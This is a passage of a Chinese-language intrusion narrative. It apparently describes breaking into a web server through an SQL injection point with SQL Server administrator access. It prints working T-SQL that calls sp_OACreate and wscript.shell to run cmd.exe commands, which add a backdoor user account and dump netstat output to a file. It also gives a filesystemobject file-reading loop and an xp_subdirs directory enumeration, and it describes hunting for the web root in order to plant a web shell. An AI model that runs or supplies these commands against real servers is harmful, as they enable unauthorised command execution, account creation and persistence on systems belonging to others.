于是在查询分析器里执行:
DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD
@shell,'run',null, 'C:\WINdows\system32\cmd.exe /c net user sadfish fish /add'
来添加个密码用户为sadfish的管理员,提示命令完成,于是马上执行:
DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINdows\system32\cmd.exe /c netstat -an >c:\1.txt' 就是把netstat -an的结果显示在1.txt里保存在c:\,提示成功。
然后继续使用:
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\1.txt', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end
来读取1.txt里的内容,但是却发现不存在1.txt。

图5
难道SP_OAcreate也不能用?是不是wscript.shell被删了?歇一会,整理下思路重新来,先用xp_subdirs来找WEB目录,语句是exec master.dbo.xp_subdirs 'c":\',发现服务器只有C、D两个磁盘,并且文件夹也不多。怎么越来越感觉像是数据库服务器呢?不过既然有数据库了也可以找到后台通过后台备份拿个SHELL,不过这个SA要是拿不到服务器权限那真是有点丢人了。用阿D通过刚才的注射点扫一下后台,竟然没扫到,只发现了一个inc目录下有个test.asp 文件,打开后竟然发现了WEB目录。

图6
原来WEB目录是C:\Inetpub\tianhong\ ,一般感觉管理员都不会用C:\Inetpub这个目录,自己也就没看,差点坏了大事。